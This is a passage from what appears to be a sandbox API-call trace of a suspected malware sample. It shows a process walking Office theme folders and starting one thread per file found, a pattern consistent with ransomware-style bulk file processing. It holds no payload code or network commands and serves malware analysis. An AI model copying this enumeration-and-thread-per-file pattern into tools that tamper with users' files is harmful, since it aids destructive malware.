lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="TREK~1.EFT")) returned 1 [0097.378] wcscmp (_String1="Trek.eftx", _String2=".") returned 1 [0097.378] wcscmp (_String1="Trek.eftx", _String2="..") returned 1 [0097.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65b80 [0097.378] wcscpy (in: _Dest=0x1cd65b80, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.378] wcscat (in: _Dest=0x1cd65b80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.378] wcscat (in: _Dest=0x1cd65b80, _Source="Trek.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" [0097.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0097.379] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="URBAN~1.EFT")) returned 1 [0097.379] wcscmp (_String1="Urban.eftx", _String2=".") returned 1 [0097.379] wcscmp (_String1="Urban.eftx", _String2="..") returned 1 [0097.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65c30 [0097.380] wcscpy (in: _Dest=0x1cd65c30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.380] wcscat (in: _Dest=0x1cd65c30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.380] wcscat (in: _Dest=0x1cd65c30, _Source="Urban.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" [0097.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0097.381] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="VERVE~1.EFT")) returned 1 [0097.381] wcscmp (_String1="Verve.eftx", _String2=".") returned 1 [0097.381] wcscmp (_String1="Verve.eftx", _String2="..") returned 1 [0097.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65ce0 [0097.381] wcscpy (in: _Dest=0x1cd65ce0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.381] wcscat (in: _Dest=0x1cd65ce0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.381] wcscat (in: _Dest=0x1cd65ce0, _Source="Verve.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" [0097.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0097.382] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 1 [0097.382] wcscmp (_String1="Waveform.eftx", _String2=".") returned 1 [0097.382] wcscmp (_String1="Waveform.eftx", _String2="..") returned 1 [0097.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd65d90 [0097.382] wcscpy (in: _Dest=0x1cd65d90, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.382] wcscat (in: _Dest=0x1cd65d90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.382] wcscat (in: _Dest=0x1cd65d90, _Source="Waveform.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" [0097.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0097.383] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 0 [0097.383] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0097.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce562f0) returned 1 [0097.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad200) returned 1 [0097.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bd00) returned 1 Thread: id = 359 os_tid = 0xecc [0089.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85bbe0 [0089.567] wcscpy (in: _Dest=0x1b85bbe0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0089.567] wcscat (in: _Dest=0x1b85bbe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0089.567] wcscat (in: _Dest=0x1b85bbe0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*" [0089.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56560 [0089.567] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d430 [0089.570] wcscmp (_String1=".", _String2=".") returned 0 [0089.570] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.570] wcscmp (_String1="..", _String2=".") returned 1 [0089.571] wcscmp (_String1="..", _String2="..") returned 0 [0089.571] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0089.571] wcscmp (_String1="Adjacency.xml", _String2=".") returned 1 [0089.571] wcscmp (_String1="Adjacency.xml", _String2="..") returned 1 [0089.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce10bb0 [0089.571] wcscpy (in: _Dest=0x1ce10bb0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0089.571] wcscat (in: _Dest=0x1ce10bb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0089.571] wcscat (in: _Dest=0x1ce10bb0, _Source="Adjacency.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" [0097.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x137c [0097.953] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0097.953] wcscmp (_String1="Angles.xml", _String2=".") returned 1 [0097.953] wcscmp (_String1="Angles.xml", _String2="..") returned 1 [0097.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x2027b910 [0097.953] wcscpy (in: _Dest=0x2027b910, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.953] wcscat (in: _Dest=0x2027b910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.953] wcscat (in: _Dest=0x2027b910, _Source="Angles.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" [0097.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1380 [0097.954] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0097.954] wcscmp (_String1="Apex.xml", _String2=".") returned 1 [0097.954] wcscmp (_String1="Apex.xml", _String2="..") returned 1 [0097.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x2027b9b0 [0097.954] wcscpy (in: _Dest=0x2027b9b0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.954] wcscat (in: _Dest=0x2027b9b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.954] wcscat (in: _Dest=0x2027b9b0, _Source="Apex.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" [0097.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1384 [0097.955] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0097.955] wcscmp (_String1="Apothecary.xml", _String2=".") returned 1 [0097.955] wcscmp (_String1="Apothecary.xml", _String2="..") returned 1 [0097.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ac4d0 [0097.955] wcscpy (in: _Dest=0x202ac4d0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.955] wcscat (in: _Dest=0x202ac4d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.955] wcscat (in: _Dest=0x202ac4d0, _Source="Apothecary.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" [0097.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac4d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1388 [0097.956] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0097.956] wcscmp (_String1="Aspect.xml", _String2=".") returned 1 [0097.956] wcscmp (_String1="Aspect.xml", _String2="..") returned 1 [0097.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x2027ba50 [0097.956] wcscpy (in: _Dest=0x2027ba50, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.956] wcscat (in: _Dest=0x2027ba50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.956] wcscat (in: _Dest=0x2027ba50, _Source="Aspect.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" [0097.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027ba50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138c [0097.956] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0097.956] wcscmp (_String1="Austin.xml", _String2=".") returned 1 [0097.957] wcscmp (_String1="Austin.xml", _String2="..") returned 1 [0097.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x2027baf0 [0097.957] wcscpy (in: _Dest=0x2027baf0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.957] wcscat (in: _Dest=0x2027baf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.957] wcscat (in: _Dest=0x2027baf0, _Source="Austin.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" [0097.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027baf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1390 [0097.957] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0097.957] wcscmp (_String1="Black Tie.xml", _String2=".") returned 1 [0097.957] wcscmp (_String1="Black Tie.xml", _String2="..") returned 1 [0097.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac580 [0097.958] wcscpy (in: _Dest=0x202ac580, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.958] wcscat (in: _Dest=0x202ac580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.958] wcscat (in: _Dest=0x202ac580, _Source="Black Tie.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" [0097.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1394 [0097.958] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0097.958] wcscmp (_String1="Civic.xml", _String2=".") returned 1 [0097.958] wcscmp (_String1="Civic.xml", _String2="..") returned 1 [0097.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x2027bb90 [0097.959] wcscpy (in: _Dest=0x2027bb90, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.959] wcscat (in: _Dest=0x2027bb90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.959] wcscat (in: _Dest=0x2027bb90, _Source="Civic.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" [0097.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027bb90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1398 [0097.959] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0097.959] wcscmp (_String1="Clarity.xml", _String2=".") returned 1 [0097.959] wcscmp (_String1="Clarity.xml", _String2="..") returned 1 [0097.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac630 [0097.959] wcscpy (in: _Dest=0x202ac630, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.960] wcscat (in: _Dest=0x202ac630, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.960] wcscat (in: _Dest=0x202ac630, _Source="Clarity.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" [0097.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x139c [0097.960] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0097.960] wcscmp (_String1="Composite.xml", _String2=".") returned 1 [0097.960] wcscmp (_String1="Composite.xml", _String2="..") returned 1 [0097.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac6e0 [0097.960] wcscpy (in: _Dest=0x202ac6e0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: 